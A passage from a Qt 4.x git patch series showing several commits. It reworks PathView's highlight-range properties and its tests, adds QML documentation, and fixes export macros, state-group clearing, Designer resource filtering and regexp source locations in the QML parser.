d->currentItemOffset = d->positionOfIndex(d->currentIndex); + d->updateHighlight(); } emit currentIndexChanged(); } @@ -478,7 +546,7 @@ void QDeclarativePathViewPrivate::setOffset(qreal o) if (isValid() && q->isComponentComplete()) { offset = qmlMod(o, qreal(model->count())); if (offset < 0) - offset = model->count() + offset; + offset += qreal(model->count()); q->refill(); } else { offset = o; @@ -488,29 +556,28 @@ void QDeclarativePathViewPrivate::setOffset(qreal o) } /*! - \qmlproperty real PathView::snapPosition + \qmlproperty component PathView::highlight + This property holds the component to use as the highlight. - This property determines the position on the path (0.0-1.0) the nearest item will snap to. - The item nearest this position will set currentIndex, for example when offset is 0.0 the - first item will be placed at this position and currentIndex will be 0. -*/ -qreal QDeclarativePathView::snapPosition() const -{ - Q_D(const QDeclarativePathView); - return d->snapPos; -} + An instance of the highlight component will be created for each view. + The geometry of the resultant component instance will be managed by the view + so as to stay with the current item. -void QDeclarativePathView::setSnapPosition(qreal pos) -{ - Q_D(QDeclarativePathView); - qreal normalizedPos = pos - int(pos); - if (qFuzzyCompare(normalizedPos, d->snapPos)) - return; - d->snapPos = normalizedPos; - d->updateHighlight(); - d->fixOffset(); - emit snapPositionChanged(); -} + The below example demonstrates how to make a simple highlight. Note the use + of the PathView.onPath property to ensure that the highlight is hidden + when flicked off of the path. + + \code + Component { + Rectangle { + visible: PathView.onPath + ... + } + } + \endcode + + \sa highlightItem, highlightRangeMode +*/ QDeclarativeComponent *QDeclarativePathView::highlight() const { @@ -529,11 +596,99 @@ void QDeclarativePathView::setHighlight(QDeclarativeComponent *highlight) } } +/*! + \qmlproperty Item PathView::highlightItem + + \c highlightItem holds the highlight item, which was created + from the \l highlight component. + + \sa highlight +*/ QDeclarativeItem *QDeclarativePathView::highlightItem() { Q_D(const QDeclarativePathView); return d->highlightItem; } +/*! + \qmlproperty real PathView::preferredHighlightBegin + \qmlproperty real PathView::preferredHighlightEnd + \qmlproperty enumeration PathView::highlightRangeMode + + These properties set the preferred range of the highlight (current item) + within the view. The preferred values must be in the range 0.0-1.0. + + If highlightRangeMode is set to \e ApplyRange the view will + attempt to maintain the highlight within the range, however + the highlight can move outside of the range at the ends of the path + or due to a mouse interaction. + + If highlightRangeMode is set to \e StrictlyEnforceRange the highlight will never + move outside of the range. This means that the current item will change + if a keyboard or mouse action would cause the highlight to move + outside of the range. + + Note that this is the correct way to influence where the + current item ends up when the view moves. For example, if you want the + currently selected item to be in the middle of the path, then set the + highlight range to be 0.5,0.5 and highlightRangeMode to StrictlyEnforceRange. + Then, when the path scrolls, + the currently selected item will be the item at that position. This also applies to + when the currently selected item changes - it will scroll to within the preferred + highlight range. Furthermore, the behaviour of the current item index will occur + whether or not a highlight exists. + + The default value is \e StrictlyEnforceRange. + + Note that a valid range requires preferredHighlightEnd to be greater + than or equal to preferredHighlightBegin. +*/ +qreal QDeclarativePathView::preferredHighlightBegin() const +{ + Q_D(const QDeclarativePathView); + return d->highlightRangeStart; +} + +void QDeclarativePathView::setPreferredHighlightBegin(qreal start) +{ + Q_D(QDeclarativePathView); + if (d->highlightRangeStart == start || start < 0 || start > 1.0) + return; + d->highlightRangeStart = start; + d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; + emit preferredHighlightBeginChanged(); +} + +qreal QDeclarativePathView::preferredHighlightEnd() const +{ + Q_D(const QDeclarativePathView); + return d->highlightRangeEnd; +} + +void QDeclarativePathView::setPreferredHighlightEnd(qreal end) +{ + Q_D(QDeclarativePathView); + if (d->highlightRangeEnd == end || end < 0 || end > 1.0) + return; + d->highlightRangeEnd = end; + d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; + emit preferredHighlightEndChanged(); +} + +QDeclarativePathView::HighlightRangeMode QDeclarativePathView::highlightRangeMode() const +{ + Q_D(const QDeclarativePathView); + return d->highlightRangeMode; +} + +void QDeclarativePathView::setHighlightRangeMode(HighlightRangeMode mode) +{ + Q_D(QDeclarativePathView); + if (d->highlightRangeMode == mode) + return; + d->highlightRangeMode = mode; + d->haveHighlightRange = d->highlightRangeMode != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; + emit highlightRangeModeChanged(); +} /*! \qmlproperty real PathView::dragMargin @@ -770,16 +925,18 @@ void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *) velocity = (velocity > 0 ? count : -count) * 2; // Calculate the distance to be travelled qreal v2 = velocity*velocity; - qreal accel = d->deceleration; + qreal accel = d->deceleration/10; // + 0.25 to encourage moving at least one item in the flick direction - qreal dist = qMin(qreal(d->model->count()-1), qreal(qreal(d->model->count()) * v2 / (accel * 2.0) + 0.25)); - // round to nearest item. - if (velocity > 0.) - dist = qRound(dist + d->offset) - d->offset; - else - dist = qRound(dist - d->offset) + d->offset; - // Calculate accel required to stop on item boundary - accel = v2 / (2.0f * qAbs(dist)); + qreal dist = qMin(qreal(d->model->count()-1), qreal(v2 / (accel * 2.0) + 0.25)); + if (d->haveHighlightRange && d->highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) { + // round to nearest item. + if (velocity > 0.) + dist = qRound(dist + d->offset) - d->offset; + else + dist = qRound(dist - d->offset) + d->offset; + // Calculate accel required to stop on item boundary + accel = v2 / (2.0f * qAbs(dist)); + } d->moveOffset.setValue(d->offset); d->tl.accel(d->moveOffset, velocity, accel, dist); d->tl.callback(QDeclarativeTimeLineCallback(&d->moveOffset, d->fixOffsetCallback, d)); @@ -862,6 +1019,7 @@ void QDeclarativePathView::componentComplete() { Q_D(QDeclarativePathView); QDeclarativeItem::componentComplete(); + d->createHighlight(); d->regenerate(); d->updateHighlight(); } @@ -872,7 +1030,7 @@ void QDeclarativePathView::refill() if (!d->isValid() || !isComponentComplete()) return; -// qDebug() << "offset" << d->_offset; + bool currentVisible = false; // first move existing items and remove items off path int idx = d->firstIndex; @@ -882,6 +1040,10 @@ void QDeclarativePathView::refill() QDeclarativeItem *item = *it; if (pos >= 0.0) { d->updateItem(item, pos); + if (idx == d->currentIndex) { + currentVisible = true; + d->currentItemOffset = pos; + } ++it; } else { // qDebug() << "release"; @@ -902,7 +1064,9 @@ void QDeclarativePathView::refill() int count = d->pathItems == -1 ? d->model->count() : qMin(d->pathItems, d->model->count()); if (d->items.count() < count) { int idx = qRound(d->model->count() - d->offset) % d->model->count(); - qreal startPos = d->snapPos; + qreal startPos = 0.0; + if (d->haveHighlightRange && d->highlightRangeMode != QDeclarativePathView::NoHighlightRange) + startPos = d->highlightRangeStart; if (d->firstIndex >= 0) { startPos = d->positionOfIndex(d->firstIndex); idx = (d->firstIndex + d->items.count()) % d->model->count(); @@ -917,6 +1081,8 @@ void QDeclarativePathView::refill() item->setFocus(true); if (QDeclarativePathViewAttached *att = d->attached(item)) att->setIsCurrentItem(true); + currentVisible = true; + d->currentItemOffset = pos; } if (d->items.count() == 0) d->firstIndex = idx; @@ -941,6 +1107,8 @@ void QDeclarativePathView::refill() item->setFocus(true); if (QDeclarativePathViewAttached *att = d->attached(item)) att->setIsCurrentItem(true); + currentVisible = true; + d->currentItemOffset = pos; } d->items.prepend(item); d->updateItem(item, pos); @@ -951,6 +1119,19 @@ void QDeclarativePathView::refill() pos = d->positionOfIndex(idx); } } + + if (!currentVisible) + d->currentItemOffset = 1.0; + + if (d->highlightItem && d->haveHighlightRange && d->highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) { + d->updateItem(d->highlightItem, d->highlightRangeStart); + if (QDeclarativePathViewAttached *att = d->attached(d->highlightItem)) + att->setOnPath(true); + } else if (d->moveReason != QDeclarativePathViewPrivate::SetIndex) { + d->updateItem(d->highlightItem, d->currentItemOffset); + if (QDeclarativePathViewAttached *att = d->attached(d->highlightItem)) + att->setOnPath(currentVisible); + } } void QDeclarativePathView::itemsInserted(int modelIndex, int count) @@ -962,6 +1143,10 @@ void QDeclarativePathView::itemsInserted(int modelIndex, int count) QList removedItems = d->items; d->items.clear(); + if (modelIndex <= d->currentIndex) { + d->currentIndex += count; + emit currentIndexChanged(); + } d->regenerate(); while (removedItems.count()) d->releaseItem(removedItems.takeLast()); @@ -980,6 +1165,7 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count) d->items.clear(); if (d->offset >= d->model->count()) d->offset = d->model->count() - 1; + //XXX update currentIndex d->regenerate(); while (removedItems.count()) d->releaseItem(removedItems.takeLast()); @@ -995,6 +1181,7 @@ void QDeclarativePathView::itemsMoved(int from, int to, int count) QList removedItems = d->items; d->items.clear(); + //XXX update currentIndex d->regenerate(); while (removedItems.count()) d->releaseItem(removedItems.takeLast()); @@ -1047,6 +1234,9 @@ void QDeclarativePathViewPrivate::updateCurrent() Q_Q(QDeclarativePathView); if (moveReason != Mouse) return; + if (!haveHighlightRange || highlightRangeMode != QDeclarativePathView::StrictlyEnforceRange) + return; + int idx = calcCurrentIndex(); if (model && idx != currentIndex) { int itemIndex = (currentIndex - firstIndex + model->count()) % model->count(); @@ -1077,11 +1267,13 @@ void QDeclarativePathViewPrivate::fixOffset() { Q_Q(QDeclarativePathView); if (model && items.count()) { - int curr = calcCurrentIndex(); - if (curr != currentIndex) - q->setCurrentIndex(curr); - else - snapToCurrent(); + if (haveHighlightRange && highlightRangeMode == QDeclarativePathView::StrictlyEnforceRange) { + int curr = calcCurrentIndex(); + if (curr != currentIndex) + q->setCurrentIndex(curr); + else + snapToCurrent(); + } } } @@ -1093,7 +1285,7 @@ void QDeclarativePathViewPrivate::snapToCurrent() qreal targetOffset = model->count() - currentIndex; moveReason = Other; - tl.clear(); + tl.reset(moveOffset); moveOffset.setValue(offset); const int duration = 300; diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p.h index 07b8f6f..0079891 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p.h @@ -61,11 +61,14 @@ class Q_DECLARATIVE_EXPORT QDeclarativePathView : public QDeclarativeItem Q_PROPERTY(QDeclarativePath *path READ path WRITE setPath NOTIFY pathChanged) Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged) - Q_PROPERTY(qreal snapPosition READ snapPosition WRITE setSnapPosition NOTIFY snapPositionChanged) Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) + Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged) + Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged) + Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged) + Q_PROPERTY(qreal dragMargin READ dragMargin WRITE setDragMargin NOTIFY dragMarginChanged) Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged) Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged) @@ -74,6 +77,8 @@ class Q_DECLARATIVE_EXPORT QDeclarativePathView : public QDeclarativeItem Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) Q_PROPERTY(int pathItemCount READ pathItemCount WRITE setPathItemCount NOTIFY pathItemCountChanged) + Q_ENUMS(HighlightRangeMode); + public: QDeclarativePathView(QDeclarativeItem *parent=0); virtual ~QDeclarativePathView(); @@ -90,13 +95,20 @@ public: qreal offset() const; void setOffset(qreal offset); - qreal snapPosition() const; - void setSnapPosition(qreal pos); - QDeclarativeComponent *highlight() const; void setHighlight(QDeclarativeComponent *highlight); QDeclarativeItem *highlightItem(); + enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange }; + HighlightRangeMode highlightRangeMode() const; + void setHighlightRangeMode(HighlightRangeMode mode); + + qreal preferredHighlightBegin() const; + void setPreferredHighlightBegin(qreal); + + qreal preferredHighlightEnd() const; + void setPreferredHighlightEnd(qreal); + qreal dragMargin() const; void setDragMargin(qreal margin); @@ -122,6 +134,9 @@ Q_SIGNALS: void modelChanged(); void countChanged(); void pathChanged(); + void preferredHighlightBeginChanged(); + void preferredHighlightEndChanged(); + void highlightRangeModeChanged(); void dragMarginChanged(); void snapPositionChanged(); void delegateChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h index 1780869..90216c0 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h @@ -74,12 +74,18 @@ class QDeclarativePathViewPrivate : public QDeclarativeItemPrivate public: QDeclarativePathViewPrivate() - : path(0), currentIndex(0), startPc(0), lastDist(0) - , lastElapsed(0), mappedRange(1.0), stealMouse(false), ownModel(false), interactive(true) - , snapPos(0), dragMargin(0), deceleration(100) + : path(0), currentIndex(0), currentItemOffset(0.0), startPc(0), lastDist(0) + , lastElapsed(0), mappedRange(1.0) + , stealMouse(false), ownModel(false), interactive(true), haveHighlightRange(true) + , autoHighlight(true), highlightUp(false), dragMargin(0), deceleration(100) , moveOffset(this, &QDeclarativePathViewPrivate::setOffset) + , moveHighlight(this, &QDeclarativePathViewPrivate::setHighlightPosition) , firstIndex(-1), pathItems(-1), requestedIndex(-1) , moveReason(Other), attType(0), highlightComponent(0), highlightItem(0) + , highlightPosition(0) + , highlightRangeStart(0), highlightRangeEnd(0) + , highlightRangeMode(QDeclarativePathView::StrictlyEnforceRange) + , highlightMoveSpeed(1.0) { } @@ -98,9 +104,10 @@ public: QDeclarativePathViewAttached *attached(QDeclarativeItem *item); void clear(); void updateMappedRange(); - qreal positionOfIndex(int index) const; + qreal positionOfIndex(qreal index) const; void createHighlight(); void updateHighlight(); + void setHighlightPosition(qreal pos); bool isValid() const { return model && model->count() > 0 && model->isValid() && path; } @@ -117,6 +124,7 @@ public: QDeclarativePath *path; int currentIndex; + qreal currentItemOffset; qreal startPc; QPointF startPoint; qreal lastDist; @@ -126,9 +134,11 @@ public: bool stealMouse : 1; bool ownModel : 1; bool interactive : 1; + bool haveHighlightRange : 1; + bool autoHighlight : 1; + bool highlightUp : 1; QTime lastPosTime; QPointF lastPos; - qreal snapPos; qreal dragMargin; qreal deceleration; QDeclarativeTimeLine tl; @@ -139,11 +149,17 @@ public: QList items; QDeclarativeGuard model; QVariant modelVariant; - enum MovementReason { Other, Key, Mouse }; + enum MovementReason { Other, SetIndex, Mouse }; MovementReason moveReason; QDeclarativeOpenMetaObjectType *attType; QDeclarativeComponent *highlightComponent; QDeclarativeItem *highlightItem; + QDeclarativeTimeLineValueProxy moveHighlight; + qreal highlightPosition; + qreal highlightRangeStart; + qreal highlightRangeEnd; + QDeclarativePathView::HighlightRangeMode highlightRangeMode; + qreal highlightMoveSpeed; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml b/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml index ab1538b..eded122 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/displaypath.qml @@ -33,7 +33,6 @@ Rectangle { height: 320 model: testModel delegate: delegate - snapPosition: 0.0001 path: Path { startY: 120 startX: 160 diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml index 8e2c251..1866875 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml @@ -48,7 +48,6 @@ Rectangle { height: 320 model: testModel delegate: delegate - snapPosition: 0.0001 highlight: Rectangle { width: 60 height: 20 diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml index f1bc66e..b143294 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml @@ -3,7 +3,9 @@ import Qt 4.6 PathView { id: photoPathView y: 100; width: 800; height: 330; pathItemCount: 4; offset: 1 - dragMargin: 24; snapPosition: 0.50 + dragMargin: 24 + preferredHighlightBegin: 0.50 + preferredHighlightEnd: 0.50 path: Path { startX: -50; startY: 40; diff --git a/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml b/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml index db70b7b..1ae1ad2 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml @@ -17,7 +17,8 @@ Rectangle { } PathView { - snapPosition: 0.1 + preferredHighlightBegin: 0.1 + preferredHighlightEnd: 0.1 dragMargin: 5.0 id: pathView objectName: "pathView" diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp index 6d7cc0d..4d43c68 100644 --- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp +++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp @@ -194,7 +194,7 @@ void tst_QDeclarativePathView::initValues() QCOMPARE(obj->model(), QVariant()); QCOMPARE(obj->currentIndex(), 0); QCOMPARE(obj->offset(), 0.); - QCOMPARE(obj->snapPosition(), 0.); + QCOMPARE(obj->preferredHighlightBegin(), 0.); QCOMPARE(obj->dragMargin(), 0.); QCOMPARE(obj->count(), 0); QCOMPARE(obj->pathItemCount(), -1); @@ -255,7 +255,7 @@ void tst_QDeclarativePathView::pathview2() QVERIFY(obj->model() != QVariant()); QCOMPARE(obj->currentIndex(), 0); QCOMPARE(obj->offset(), 0.); - QCOMPARE(obj->snapPosition(), 0.); + QCOMPARE(obj->preferredHighlightBegin(), 0.); QCOMPARE(obj->dragMargin(), 0.); QCOMPARE(obj->count(), 8); QCOMPARE(obj->pathItemCount(), 10); @@ -273,7 +273,7 @@ void tst_QDeclarativePathView::pathview3() QVERIFY(obj->model() != QVariant()); QCOMPARE(obj->currentIndex(), 0); QCOMPARE(obj->offset(), 1.0); - QCOMPARE(obj->snapPosition(), 0.5); + QCOMPARE(obj->preferredHighlightBegin(), 0.5); QCOMPARE(obj->dragMargin(), 24.); QCOMPARE(obj->count(), 8); QCOMPARE(obj->pathItemCount(), 4); @@ -534,22 +534,25 @@ void tst_QDeclarativePathView::propertyChanges() QDeclarativePathView *pathView = canvas->rootObject()->findChild("pathView"); QVERIFY(pathView); - QSignalSpy snapPositionSpy(pathView, SIGNAL(snapPositionChanged())); + QSignalSpy snapPositionSpy(pathView, SIGNAL(preferredHighlightBeginChanged())); QSignalSpy dragMarginSpy(pathView, SIGNAL(dragMarginChanged())); - QCOMPARE(pathView->snapPosition(), 0.1); + QCOMPARE(pathView->preferredHighlightBegin(), 0.1); QCOMPARE(pathView->dragMargin(), 5.0); - pathView->setSnapPosition(0.4); + pathView->setPreferredHighlightBegin(0.4); + pathView->setPreferredHighlightEnd(0.4); pathView->setDragMargin(20.0); - QCOMPARE(pathView->snapPosition(), 0.4); + QCOMPARE(pathView->preferredHighlightBegin(), 0.4); + QCOMPARE(pathView->preferredHighlightEnd(), 0.4); QCOMPARE(pathView->dragMargin(), 20.0); QCOMPARE(snapPositionSpy.count(), 1); QCOMPARE(dragMarginSpy.count(), 1); - pathView->setSnapPosition(0.4); + pathView->setPreferredHighlightBegin(0.4); + pathView->setPreferredHighlightEnd(0.4); pathView->setDragMargin(20.0); QCOMPARE(snapPositionSpy.count(), 1); -- cgit v0.12 From 8217da65cbe44261a83418017be311bb1a62725d Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Fri, 26 Mar 2010 09:37:14 +0100 Subject: Doc Augmentation Task-number: QTBUG-9396 --- doc/src/declarative/extending.qdoc | 13 +++++++++++++ src/declarative/graphicsitems/qdeclarativepositioners.cpp | 4 +++- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 8c096da..3dce8c3 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -693,6 +693,19 @@ it in two steps, like this: myProperty: 10 \endcode +If a default value is not supplied or set later in the file, each type has a +default value for when none is explictly set. Below are the default values +of some of the types. For the remaining types the default values are undefined. + +\table +\header \o QML Type \o Default Value +\row \o bool \o false +\row \o int \o 0 +\row \o double, real \o 0.0 +\row \o string, url \o "" (an empty string) +\row \o color \o #000000 (black) +\endtable + If specified, the optional "default" attribute marks the new property as the types default property, overriding any existing default property. Using the default attribute twice in the same type block is an error. diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 7a0d33a..5e91224 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -602,7 +602,9 @@ Grid { \qmlproperty Transition Grid::add This property holds the transition to apply when adding an item to the positioner. The transition is only applied to the added item(s). - Positioner transitions will only affect the position (x,y) of items. + Positioner transitions will only affect the position (x,y) of items, + as that is all the positioners affect. To animate other property change + you will have to do so based on how you have changed those properties. Added can mean that either the object has been created or reparented, and thus is now a child or the positioner, or that the -- cgit v0.12 From 15d9ab9a041ea9e81e444a8777e32e4f909320c1 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Fri, 26 Mar 2010 09:40:08 +0100 Subject: I've been told this fixes compilation on windows. --- src/declarative/graphicsitems/qdeclarativetranslate_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativetranslate_p.h b/src/declarative/graphicsitems/qdeclarativetranslate_p.h index 1371f71..939692b 100644 --- a/src/declarative/graphicsitems/qdeclarativetranslate_p.h +++ b/src/declarative/graphicsitems/qdeclarativetranslate_p.h @@ -52,7 +52,7 @@ QT_MODULE(Declarative) class QDeclarativeTranslatePrivate; -class Q_GUI_EXPORT QDeclarativeTranslate : public QGraphicsTransform +class Q_DECLARATIVE_EXPORT QDeclarativeTranslate : public QGraphicsTransform { Q_OBJECT -- cgit v0.12 From a034773ce0e9d3fe3e7768da248d8c2e99cf132d Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Fri, 26 Mar 2010 08:38:43 +0100 Subject: Adds a way to clear the state list property in QDeclarativeStateGroup Needed by QmlDesigner, which needs to be able to remove states at runtime. Done my Marco Bubke Reviewed-by: Michael Brasser --- src/declarative/util/qdeclarativestategroup.cpp | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp index bc4582c..258a9e9 100644 --- a/src/declarative/util/qdeclarativestategroup.cpp +++ b/src/declarative/util/qdeclarativestategroup.cpp @@ -69,6 +69,7 @@ public: static void append_state(QDeclarativeListProperty *list, QDeclarativeState *state); static int count_state(QDeclarativeListProperty *list); static QDeclarativeState *at_state(QDeclarativeListProperty *list, int index); + static void clear_states(QDeclarativeListProperty *list); QList states; QList transitions; @@ -150,7 +151,8 @@ QDeclarativeListProperty QDeclarativeStateGroup::statesProper Q_D(QDeclarativeStateGroup); return QDeclarativeListProperty(this, &d->states, &QDeclarativeStateGroupPrivate::append_state, &QDeclarativeStateGroupPrivate::count_state, - &QDeclarativeStateGroupPrivate::at_state); + &QDeclarativeStateGroupPrivate::at_state, + &QDeclarativeStateGroupPrivate::clear_states); } void QDeclarativeStateGroupPrivate::append_state(QDeclarativeListProperty *list, QDeclarativeState *state) @@ -175,6 +177,16 @@ QDeclarativeState *QDeclarativeStateGroupPrivate::at_state(QDeclarativeListPrope return _this->d_func()->states.at(index); } +void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty *list) +{ + QDeclarativeStateGroup *_this = static_cast(list->object); + _this->d_func()->setCurrentStateInternal(QString(), true); + for (int i = 0; i < _this->d_func()->states.count(); ++i) { + _this->d_func()->states.at(i)->setStateGroup(0); + } + _this->d_func()->states.clear(); +} + /*! \qmlproperty list StateGroup::transitions This property holds a list of transitions defined by the state group. -- cgit v0.12 From 7d5e8f7ff741b45d0114ea45d81c8d90118d65ab Mon Sep 17 00:00:00 2001 From: Friedemann Kleint Date: Fri, 26 Mar 2010 10:15:29 +0100 Subject: Designer: Fix broken resource view filtering. Another side effect of 62c72ed2fd4aa6f5e62a190abf2dde2ba0f5ff0b . Task-number: QTBUG-9262 Initial-patch-by: Jarek Kobus --- tools/designer/src/lib/shared/qtresourceview.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/designer/src/lib/shared/qtresourceview.cpp b/tools/designer/src/lib/shared/qtresourceview.cpp index 3c7010c..18fd07b 100644 --- a/tools/designer/src/lib/shared/qtresourceview.cpp +++ b/tools/designer/src/lib/shared/qtresourceview.cpp @@ -421,7 +421,7 @@ void QtResourceViewPrivate::filterOutResources() // 3) we hide these items which has pathToVisible value false. const bool matchAll = m_filterPattern.isEmpty(); - const QString root(QLatin1Char(':')); + const QString root(QLatin1String(":/")); QQueue pathQueue; pathQueue.enqueue(root); -- cgit v0.12 From 31b972b12db4497f1c3ba1762d784c7315e75b62 Mon Sep 17 00:00:00 2001 From: Roberto Raggi Date: Fri, 26 Mar 2010 10:55:48 +0100 Subject: Recompute the source location of regexp literals. Task-number: QTBUG-9367 --- src/declarative/qml/parser/qdeclarativejs.g | 8 +++++++- src/declarative/qml/parser/qdeclarativejsparser.cpp | 8 +++++++- tests/auto/declarative/qdeclarativetextinput/data/validators.qml | 2 +- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/parser/qdeclarativejs.g b/src/declarative/qml/parser/qdeclarativejs.g index 0256c52..c7524a4 100644 --- a/src/declarative/qml/parser/qdeclarativejs.g +++ b/src/declarative/qml/parser/qdeclarativejs.g @@ -656,7 +656,7 @@ case $rule_number: { } else if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(2).Expression)) { QString text; for (AST::UiQualifiedId *q = qualifiedId; q; q = q->next) { - text += q->name->asString(); + text += q->name->asString(); if (q->next) text += QLatin1String("."); } node = makeAstNode(driver->nodePool(), qualifiedId); @@ -1109,6 +1109,9 @@ case $rule_number: { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage())); return false; // ### remove me } + + loc(1).length = lexer->tokenLength(); + AST::RegExpLiteral *node = makeAstNode (driver->nodePool(), lexer->pattern, lexer->flags); node->literalToken = loc(1); sym(1).Node = node; @@ -1126,6 +1129,9 @@ case $rule_number: { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage())); return false; } + + loc(1).length = lexer->tokenLength(); + AST::RegExpLiteral *node = makeAstNode (driver->nodePool(), lexer->pattern, lexer->flags); node->literalToken = loc(1); sym(1).Node = node; diff --git a/src/declarative/qml/parser/qdeclarativejsparser.cpp b/src/declarative/qml/parser/qdeclarativejsparser.cpp index 9205ef4..2949e88 100644 --- a/src/declarative/qml/parser/qdeclarativejsparser.cpp +++ b/src/declarative/qml/parser/qdeclarativejsparser.cpp @@ -275,7 +275,7 @@ case 20: { } else if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(2).Expression)) { QString text; for (AST::UiQualifiedId *q = qualifiedId; q; q = q->next) { - text += q->name->asString(); + text += q->name->asString(); if (q->next) text += QLatin1String("."); } node = makeAstNode(driver->nodePool(), qualifiedId); @@ -571,6 +571,9 @@ case 76: { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage())); return false; // ### remove me } + + loc(1).length = lexer->tokenLength(); + AST::RegExpLiteral *node = makeAstNode (driver->nodePool(), lexer->pattern, lexer->flags); node->literalToken = loc(1); sym(1).Node = node; @@ -582,6 +585,9 @@ case 77: { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage())); return false; } + + loc(1).length = lexer->tokenLength(); + AST::RegExpLiteral *node = makeAstNode (driver->nodePool(), lexer->pattern, lexer->flags); node->literalToken = loc(1); sym(1).Node = node; diff --git a/tests/auto/declarative/qdeclarativetextinput/data/validators.qml b/tests/auto/declarative/qdeclarativetextinput/data/validators.qml index efe7570..531a232 100644 --- a/tests/auto/declarative/qdeclarativetextinput/data/validators.qml +++ b/tests/auto/declarative/qdeclarativetextinput/data/validators.qml @@ -15,7 +15,7 @@ Item { validator: DoubleValidator{top: 12.12; bottom: 2.93; decimals: 2; notation: DoubleValidator.StandardNotation} } TextInput { id: strInput; - validator: RegExpValidator { regExp: RegExp(/[a-zA-z]{2,4}/) } + validator: RegExpValidator { regExp: /[a-zA-z]{2,4}/ } } } -- cgit v0.12 From 9a7dd6c047a8eebad94fd5f3e9fc2284c315b046 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Fri, 26 Mar 2010 12:24:00 +0100 Subject: QtScript: Add missing API shim for signal handling The signal handling bypasses the public QScriptValue API (it calls JSC::call() directly), hence we need to insert a shim to make sure that the correct identifier table will be used. --- src/script/bridge/qscriptqobject.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/src/script/bridge/qscriptqobject.cpp b/src/script/bridge/qscriptqobject.cpp index 